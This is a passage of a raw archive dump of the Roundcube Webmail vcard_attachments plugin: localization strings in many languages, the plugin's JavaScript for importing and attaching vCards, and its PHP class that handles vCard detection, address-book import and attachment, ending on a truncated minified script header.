 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'vCard පත ලිපින පොතට එක් කරන්න';
$labels['vcardsavefailed'] = 'vCard පත සුරැකීම අසාර්ථකයි';
PKh�\L��WW0plugins/vcard_attachments/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Kontakt im Adressbuch speichern';
$labels['vcardsavefailed'] = 'Der Kontakt konnte nicht gespeichert werden';
$labels['attachvcard'] = 'vCard anhängen';
$labels['vcardattached'] = 'vCard-Datei angehängt.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'vCard weiterleiten';
PKh�\&��$��0plugins/vcard_attachments/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Lägg till vCard i adressbok';
$labels['vcardsavefailed'] = 'Kunde inte spara vCard';
$labels['attachvcard'] = 'Bifoga vCard';
$labels['vcardattached'] = 'vCard-fil bifogad.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Skicka vidare vCard';
$labels['contactsattached'] = 'Meddelandet har $num bifogade kontakter.';
$labels['importedsuccessfully'] = 'Importen av kontakter till adressboken lyckades.';
PKh�\����-plugins/vcard_attachments/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'ۋكارتىسىنى ئادىرىس دەپتىرىگە قۇشۇش';
$labels['vcardsavefailed'] = 'ۋكارتىسىنى ساقلىغىلى بولمىدى';
$labels['attachvcard'] = 'ۋكارتىسى قىستۇرۇش';
$labels['vcardattached'] = 'ۋكارتىسى ھۆججىتى قىستۇرۇلدى.';
$labels['vcard'] = 'ۋكارتىسى';
$labels['forwardvcard'] = 'ۋكارتىسىنى يەتكۈزۈش';
$labels['contactsattached'] = 'بۇ خەتكە num$ تۇنۇش قىستۇرۇلدى.';
$labels['importedsuccessfully'] = 'تۇنۇش(لار) ئادىرىس دەپتىرىگە مۇۋاپىقىيەتلىك كىرگۈزۈلدى.';
PKh�\��?0plugins/vcard_attachments/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = '주소록에 vCard 추가';
$labels['vcardsavefailed'] = 'vCard를 저장할 수 없음';
$labels['attachvcard'] = 'vCard 첨부';
$labels['vcardattached'] = 'vCard 파일을 첨부했습니다.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'vCard 전달';
$labels['contactsattached'] = '이 메시지에 첨부된 $num개의 연락처가 있습니다.';
$labels['importedsuccessfully'] = '연락처를 주소록에 성공적으로 가져왔습니다.';
PKh�\�����0plugins/vcard_attachments/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Engadir vCard á Axenda de enderezos';
$labels['vcardsavefailed'] = 'Non foi posíbel gardar a vCard';
PKh�\�P����0plugins/vcard_attachments/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Aggiungi vCard alla rubrica';
$labels['vcardsavefailed'] = 'Impossibile salvare vCard';
$labels['attachvcard'] = 'Allega vCard';
$labels['vcardattached'] = 'File vCard allegato.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Inoltra vCard';
$labels['contactsattached'] = 'Ci sono $num contatti allegati a questo messaggio.';
$labels['importedsuccessfully'] = 'Contatto/i importato/i correttamente nella rubrica.';
PKh�\�KK�0plugins/vcard_attachments/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Añadir tarjeta vCard a la libreta de direcciones';
$labels['vcardsavefailed'] = 'No se pudo guardar la tarjeta vCard';
$labels['attachvcard'] = 'Adjuntar vCard';
$labels['vcardattached'] = 'Adjunto archivo vCard.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Reenviar vCard';
$labels['contactsattached'] = 'Existen $num contactos adjuntos a este mensaje.';
$labels['importedsuccessfully'] = 'Contacto(s) agregados correctamente a la libreta de direcciones.';
PKh�\e2��880plugins/vcard_attachments/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'വിലാസപുസ്തകത്തിലേക്ക് വികാര്‍ഡ് ചേര്‍ക്കുക';
$labels['vcardsavefailed'] = 'വികാര്‍ഡ് ചേര്‍ക്കാന്‍ പറ്റിയില്ല';
PKh�\T���0plugins/vcard_attachments/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Voeg vCard toe aan adresboek';
$labels['vcardsavefailed'] = 'Kan vCard niet opslaan';
$labels['attachvcard'] = 'vCard toevoegen';
$labels['vcardattached'] = 'vCard bijgevoegd';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'vCard doorsturen';
$labels['importedsuccessfully'] = 'Contact(en) succesvol geïmporteerd naar het adresboek.';
PKh�\��AG��0plugins/vcard_attachments/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Ychwanegu vCard i\'r llyfr cyfeiriadau';
$labels['vcardsavefailed'] = 'Methwyd cadw\'r vCard';
$labels['attachvcard'] = 'Atodi vCard';
$labels['vcardattached'] = 'Atodwyd ffeil vCard';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Danfon vCard ymlaen';
$labels['contactsattached'] = 'Mae $num cyswllt ynghlwm a\'r neges hon.';
$labels['importedsuccessfully'] = 'Cyswllt/cysylltiadau wedi ei mewnforio i\'r llyfr cyfeiriadau yn llwyddiannus.';
PKh�\�ʒ��0plugins/vcard_attachments/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Add vCard to addressbook';
$labels['vcardsavefailed'] = 'Unable to save vCard';
$labels['attachvcard'] = 'Attach vCard';
$labels['vcardattached'] = 'vCard file attached.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Forward vCard';
$labels['contactsattached'] = 'There are $num contacts attached to this message.';
$labels['importedsuccessfully'] = 'Contact(s) imported successfully';
PKh�\\�8Y@@0plugins/vcard_attachments/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Legg vCard til búðstaðar savn';
$labels['vcardsavefailed'] = 'Kann ikki goyma vCard';
$labels['attachvcard'] = 'Viðlegg vCard';
$labels['vcardattached'] = 'vCard fíla viðløgd';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Send vCard víðari';
PKh�\���__0plugins/vcard_attachments/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Įtraukti vizitinę kortelę į adresų knygą';
$labels['vcardsavefailed'] = 'Įrašyti vizitinės kortelės nepavyko';
$labels['attachvcard'] = 'Pridėti vCard';
$labels['vcardattached'] = 'vCard failas pridėtas.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Persiųsti vCard';
PKh�\~^Z

0plugins/vcard_attachments/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Adicionar o vCard ao Livro de Endereços';
$labels['vcardsavefailed'] = 'Não foi possível guardar o vCard';
$labels['attachvcard'] = 'Anexar vCard';
$labels['vcardattached'] = 'Ficheiro vCard anexado.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Reencaminhar vCard';
$labels['contactsattached'] = 'Existem $num contactos anexados a esta mensagem. ';
$labels['importedsuccessfully'] = 'Contacto(s) importado(s) com sucesso para o livro de endereços.';
PKh�\!����0plugins/vcard_attachments/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Vcard Attachments plugin   |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-vcard_attachments/
*/

$labels['addvcardmsg'] = 'Προσθήκη vCard στο βιβλίο διευθύνσεων';
$labels['vcardsavefailed'] = 'Δεν είναι δυνατή η αποθήκευση του vCard';
$labels['attachvcard'] = 'Επισύναψη vCard';
$labels['vcardattached'] = 'Το αρχείο vCard επισυναφθηκε.';
$labels['vcard'] = 'vCard';
$labels['forwardvcard'] = 'Προώθηση vCard';
$labels['contactsattached'] = '$num επαφές επισυνάπτονται σε αυτό το μήνυμα.';
$labels['importedsuccessfully'] = 'Η εισαγωγή επαφών ολοκληρώθηκε με επιτυχία.';
PKh�\�5�=��(plugins/vcard_attachments/vcardattach.jsnu�[���/**
 * vcard_attachments plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

function plugin_vcard_import(mime_id)
{
  if (!mime_id) {
    var content = [];

    $.each(rcmail.env.vcards, function (id, contact) {
      var chbox = $('<input>').attr({type: 'checkbox', value: id, checked: true, 'class': 'pretty-checkbox'}),
        label = $('<label>').text(' ' + contact);

      content.push($('<div>').append(label.prepend(chbox)));
    });

    var dialog,
      action = function(e, a) {
        var contacts = []

        dialog.find('input:checked').each(function() {
          contacts.push(this.value);
        });

        if (contacts.length) {
          plugin_vcard_import(contacts.join());
          return true; // close the dialog
        }
      },
      props = {
        button: 'import',
        height: content.length > 4 ? 250 : 100
      };

    dialog = rcmail.simple_dialog(content, 'vcard_attachments.addvcardmsg', action, props);

    return false;
  }

  rcmail.http_post(
    'plugin.savevcard',
    { _uid: rcmail.env.uid, _mbox: rcmail.env.mailbox, _part: mime_id },
    rcmail.set_busy(true, 'loading')
  );

  return false;
}

function plugin_vcard_insertrow(data)
{
  if (data.row.ctype.match(/^(text\/vcard|text\/x-vcard|text\/directory)$/i)) {
    $(data.row.obj).find('.attachment > .attachment').addClass('vcard');
  }
}

function plugin_vcard_attach()
{
  var id, n, contacts = [],
    ts = new Date().getTime(),
    args = {_uploadid: ts, _id: rcmail.env.compose_id || null},
    selection = rcmail.contact_list.get_selection();

  for (n=0; n < selection.length; n++) {
    if (rcmail.env.task == 'addressbook') {
      id = selection[n];
      contacts.push(rcmail.env.source + '-' + id + '-0');
    }
    else {
      id = selection[n];
      if (id && id.charAt(0) != 'E' && rcmail.env.contactdata[id])
        contacts.push(id);
    }
  }

  if (!contacts.length)
    return false;

  args._uri = 'vcard://' + contacts.join(',');

  if (rcmail.env.task == 'addressbook') {
      args._attach_vcard = 1;
      rcmail.open_compose_step(args);
  }
  else {
    // add to attachments list
    if (!rcmail.add2attachment_list(ts, {name: '', html: rcmail.get_label('attaching'), classname: 'uploading', complete: false}))
      rcmail.file_upload_id = rcmail.set_busy(true, 'attaching');

    rcmail.http_post('upload', args);
  }
}

window.rcmail && rcmail.addEventListener('init', function(evt) {
  if (rcmail.gui_objects.messagelist)
    rcmail.addEventListener('insertrow', function(data, evt) { plugin_vcard_insertrow(data); });

  if ((rcmail.env.action == 'compose' || (rcmail.env.task == 'addressbook' && rcmail.env.action == '')) && rcmail.gui_objects.contactslist) {
    if (rcmail.env.action == 'compose') {
      rcmail.env.compose_commands.push('attach-vcard');

      // Elastic: add "Attach vCard" button to the attachments widget
      if (window.UI && UI.recipient_selector) {
        var button, form = $('#compose-attachments > div');
        button = $('<button class="btn btn-secondary attach vcard">')
          .attr({type: 'button', tabindex: $('button,input', form).first().attr('tabindex') || 0})
          .text(rcmail.gettext('vcard_attachments.attachvcard'))
          .appendTo(form)
          .click(function() {
            UI.recipient_selector('', {
              title: 'vcard_attachments.attachvcard',
              button: 'vcard_attachments.attachvcard',
              button_class: 'attach',
              focus: button,
              multiselect: false,
              action: function() { rcmail.command('attach-vcard'); }
            });
          });
      }
    }

    rcmail.register_command('attach-vcard', function() { plugin_vcard_attach(); });
    rcmail.contact_list.addEventListener('select', function(list) {
      // TODO: support attaching more than one at once
      var selection = list.get_selection();
      rcmail.enable_command('attach-vcard', selection.length == 1 && selection[0].charAt(0) != 'E');
    });
  }
});
PKh�\ϰ��7�7/plugins/vcard_attachments/vcard_attachments.phpnu�[���<?php

/**
 * Detects VCard attachments and show a button to add them to address book
 * Adds possibility to attach a contact vcard to mail messages
 *
 * @license GNU GPLv3+
 * @author Thomas Bruederli, Aleksander Machniak
 */
class vcard_attachments extends rcube_plugin
{
    public $task = 'mail|addressbook';

    private $abook;
    private $message;
    private $vcard_parts  = [];
    private $vcard_bodies = [];

    /**
     * Plugin initialization
     */
    function init()
    {
        $rcmail = rcmail::get_instance();

        if ($rcmail->task == 'addressbook') {
            $this->add_texts('localization', !$rcmail->output->ajax_call);
            $this->include_stylesheet($this->local_skin_path() . '/style.css');
            $this->include_script('vcardattach.js');
            $this->add_button([
                    'type'     => 'link-menuitem',
                    'label'    => 'vcard_attachments.forwardvcard',
                    'command'  => 'attach-vcard',
                    'class'    => 'icon vcard',
                    'classact' => 'icon vcard active',
                    'innerclass' => 'icon vcard',
                ],
                'contactmenu'
            );
        }
        else {
            if ($rcmail->action == 'show' || $rcmail->action == 'preview') {
                $this->add_hook('message_load', [$this, 'message_load']);
                $this->add_hook('message_objects', [$this, 'message_objects']);
                $this->add_hook('template_object_messagebody', [$this, 'html_output']);
            }
            else if ($rcmail->action == 'upload') {
                $this->add_hook('attachment_from_uri', [$this, 'attach_vcard']);
            }
            else if ($rcmail->action == 'compose' && !$rcmail->output->framed) {
                $this->add_texts('localization', true);
                $this->include_stylesheet($this->local_skin_path() . '/style.css');
                $this->include_script('vcardattach.js');
                $this->add_button([
                        'type'     => 'link',
                        'label'    => 'vcard_attachments.vcard',
                        'command'  => 'attach-vcard',
                        'class'    => 'listbutton vcard disabled',
                        'classact' => 'listbutton vcard',
                        'title'    => 'vcard_attachments.attachvcard',
                        'innerclass' => 'inner',
                    ],
                    'compose-contacts-toolbar'
                );

                $this->add_hook('message_compose', [$this, 'message_compose']);
            }
            else if (!$rcmail->output->framed && (!$rcmail->action || $rcmail->action == 'list')) {
                $this->include_stylesheet($this->local_skin_path() . '/style.css');
                $this->include_script('vcardattach.js');
            }
        }

        $this->register_action('plugin.savevcard', [$this, 'save_vcard']);
    }

    /**
     * Check message bodies and attachments for vcards
     */
    function message_load($p)
    {
        $this->message = $p['object'];

        // handle attachments vcard attachments
        foreach ((array) $this->message->attachments as $attachment) {
            if ($this->is_vcard($attachment)) {
                $this->vcard_parts[] = $attachment->mime_id;
            }
        }
        // the same with message bodies
        foreach ((array) $this->message->parts as $part) {
            if ($this->is_vcard($part)) {
                $this->vcard_parts[]  = $part->mime_id;
                $this->vcard_bodies[] = $part->mime_id;
            }
        }

        if ($this->vcard_parts) {
            $this->add_texts('localization');
        }
    }

    /**
     * This callback function adds a box above the message content
     * if there is a vcard attachment available
     */
    function message_objects($p)
    {
        $rcmail   = rcmail::get_instance();
        $contacts = [];

        foreach ($this->vcard_parts as $part) {
            $vcards = rcube_vcard::import($this->message->get_part_content($part, null, true));

            foreach ($vcards as $idx => $vcard) {
                // skip invalid vCards
                if (empty($vcard->email) || empty($vcard->email[0])) {
                    continue;
                }

                $contacts["$part:$idx"] = "{$vcard->displayname} <{$vcard->email[0]}>";
            }
        }

        if (!empty($contacts)) {
            $attr = [
                'title' => $this->gettext('addvcardmsg'),
                'class' => 'import btn-sm',
            ];

            if (count($contacts) == 1) {
                $display         = array_first($contacts);
                $attr['onclick'] = "return plugin_vcard_import('" . rcube::JQ(key($contacts)) . "')";
            }
            else {
                $display         = $this->gettext(['name' => 'contactsattached', 'vars' => ['num' => count($contacts)]]);
                $attr['onclick'] = "return plugin_vcard_import()";

                $rcmail->output->set_env('vcards', $contacts);
                $rcmail->output->add_label('vcard_attachments.addvcardmsg', 'import');
            }

            // add box below the message body
            $p['content'][] = html::p(
                ['class' => 'vcardattachment aligned-buttons boxinformation'],
                html::span(null, rcube::Q($display)) . html::tag('button', $attr, rcube::Q($rcmail->gettext('import')))
            );

            $this->include_script('vcardattach.js');
            $this->include_stylesheet($this->local_skin_path() . '/style.css');
        }

        return $p;
    }

    /**
     * This callback function adds a vCard to the message when attached from the Address book
     */
    function message_compose($p)
    {
        if (
            rcube_utils::get_input_string('_attach_vcard', rcube_utils::INPUT_GET) == '1'
            && ($uri = rcube_utils::get_input_string('_uri', rcube_utils::INPUT_GET))
        ) {
            if ($attachment = $this->attach_vcard(['compose_id' => $p['id'], 'uri' => $uri])) {
                $p['attachments'][] = $attachment;
            };
        }

        return $p;
    }

    /**
     * This callback function removes message part's content
     * for parts that are vcards
     */
    function html_output($p)
    {
        foreach ($this->vcard_parts as $part) {
            // remove part's body
            if (in_array($part, $this->vcard_bodies)) {
                $p['content'] = '';
            }
        }

        return $p;
    }

    /**
     * Handler for request action
     */
    function save_vcard()
    {
        $this->add_texts('localization');

        $uid     = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_POST);
        $mbox    = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST);
        $mime_id = rcube_utils::get_input_string('_part', rcube_utils::INPUT_POST);

        $rcmail  = rcmail::get_instance();
        $message = new rcube_message($uid, $mbox);
        $vcards  = [];
        $errors  = 0;

        if (!empty($message->headers) && $mime_id) {
            $index = [];

            foreach (explode(',', $mime_id) as $id) {
                list($part_id, $card_id) = rcube_utils::explode(':', $id);
                if (!isset($index[$part_id])) {
                    $index[$part_id] = [];
                }
                $index[$part_id][] = $card_id;
            }

            foreach ($index as $part_id => $mime_ids) {
                $part = $message->get_part_content($part_id, null, true);

                if (!empty($part) && ($part_vcards = rcube_vcard::import($part))) {
                    foreach ($mime_ids as $id) {
                        if (!empty($part_vcards[$id])
                            && ($vcard = $part_vcards[$id])
                            && !empty($vcard->email)
                            && !empty($vcard->email[0])
                        ) {
                            $vcards[] = $vcard;
                        }
                    }
                }
            }
        }

        $CONTACTS = $this->get_address_book();

        foreach ($vcards as $vcard) {
            $email   = $vcard->email[0];
            $contact = $vcard->get_assoc();
            $valid   = true;

            // skip entries without an e-mail address or invalid
            if (empty($email) || !$CONTACTS->validate($contact, true)) {
                $valid = false;
            }
            else {
                // We're using UTF8 internally
                $email = rcube_utils::idn_to_utf8($email);

                // compare e-mail address
                $existing = $CONTACTS->search('email', $email, 1, false);

                // compare display name
                if (!$existing->count && !empty($vcard->displayname)) {
                    $existing = $CONTACTS->search('name', $vcard->displayname, 1, false);
                }

                if ($existing->count) {
                    // $rcmail->output->command('display_message', $this->gettext('contactexists'), 'warning');
                    $valid = false;
                }
            }

            if ($valid) {
                $plugin = $rcmail->plugins->exec_hook('contact_create', ['record' => $contact, 'source' => null]);
                $contact = $plugin['record'];

                if (!$plugin['abort'] && $CONTACTS->insert($contact)) {
                    // do nothing
                }
                else {
                    $errors++;
                }
            }
        }

        if ($errors || empty($vcards)) {
            $rcmail->output->command('display_message', $this->gettext('vcardsavefailed'), 'error');
        }
        else {
            $rcmail->output->command('display_message', $this->gettext('importedsuccessfully'), 'confirmation');
        }

        $rcmail->output->send();
    }

    /**
     * Checks if specified message part is a vcard data
     *
     * @param rcube_message_part $part Part object
     *
     * @return bool True if part is of type vcard
     */
    private static function is_vcard($part)
    {
        return (
            // Content-Type: text/vcard;
            $part->mimetype == 'text/vcard' ||
            // Content-Type: text/x-vcard;
            $part->mimetype == 'text/x-vcard' ||
            // Content-Type: text/directory; profile=vCard;
            ($part->mimetype == 'text/directory' && (
                    (!empty($part->ctype_parameters['profile']) && strtolower($part->ctype_parameters['profile']) == 'vcard')
            // Content-Type: text/directory; (with filename=*.vcf)
                    || (!empty($part->filename) && preg_match('/\.vcf$/i', $part->filename))
                )
            )
        );
    }

    /**
     * Getter for default (writable) addressbook
     */
    private function get_address_book()
    {
        if (!empty($this->abook)) {
            return $this->abook;
        }

        $rcmail = rcmail::get_instance();

        // Get configured addressbook
        $CONTACTS = $rcmail->get_address_book(rcube_addressbook::TYPE_DEFAULT, true);

        // Get first writeable addressbook if the configured doesn't exist
        // This can happen when user deleted the addressbook (e.g. Kolab folder)
        if (!is_object($CONTACTS)) {
            $source   = reset($rcmail->get_address_sources(true));
            $CONTACTS = $rcmail->get_address_book($source['id'], true);
        }

        return $this->abook = $CONTACTS;
    }

    /**
     * Attaches a contact vcard to composed mail
     */
    public function attach_vcard($args)
    {
        if (preg_match('|^vcard://(.+)$|', $args['uri'], $m)) {
            list($source, $cid, $email) = explode('-', $m[1]);

            $vcard = $this->get_contact_vcard($source, $cid, $filename);

            if ($vcard) {
                $params = [
                    'filename' => $filename,
                    'mimetype' => 'text/vcard',
                ];

                $args['attachment'] = rcmail_action_mail_compose::save_attachment($vcard, null, $args['compose_id'], $params);
            }
        }

        return $args;
    }

    /**
     * Get vcard data for specified contact
     */
    private function get_contact_vcard($source, $cid, &$filename = null)
    {
        $rcmail  = rcmail::get_instance();
        $source  = $rcmail->get_address_book($source);
        $contact = $source->get_record($cid, true);

        if ($contact) {
            $fieldmap = $source ? $source->vcard_map : null;

            if (empty($contact['vcard'])) {
                $vcard = new rcube_vcard('', RCUBE_CHARSET, false, $fieldmap);
                $vcard->reset();

                foreach ($contact as $key => $values) {
                    list($field, $section) = rcube_utils::explode(':', $key);
                    $section = strtoupper($section ?? '');
                    // avoid unwanted casting of DateTime objects to an array
                    // (same as in rcube_contacts::convert_save_data())
                    if (is_object($values) && is_a($values, 'DateTime')) {
                        $values = [$values];
                    }

                    foreach ((array) $values as $value) {
                        if (is_array($value) || is_a($value, 'DateTime') || @strlen($value)) {
                            $vcard->set($field, $value, $section);
                        }
                    }
                }

                $contact['vcard'] = $vcard->export();
            }

            $name     = rcube_addressbook::compose_list_name($contact);
            $filename = (self::parse_filename($name) ?: 'contact') . '.vcf';

            // fix folding and end-of-line chars
            $vcard = preg_replace('/\r|\n\s+/', '', $contact['vcard']);
            $vcard = preg_replace('/\n/', rcube_vcard::$eol, $vcard);

            return rcube_vcard::rfc2425_fold($vcard) . rcube_vcard::$eol;
        }
    }

    /**
     * Helper function to convert contact name into filename
     */
    static private function parse_filename($str)
    {
        $str = preg_replace('/[\t\n\r\0\x0B:\/]+\s*/', ' ', $str);

        return trim($str, " ./_");
    }
}
PKh�\o��8,plugins/vcard_attachments/vcardattach.min.jsnu�[���/**
 * vcard_attachments plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
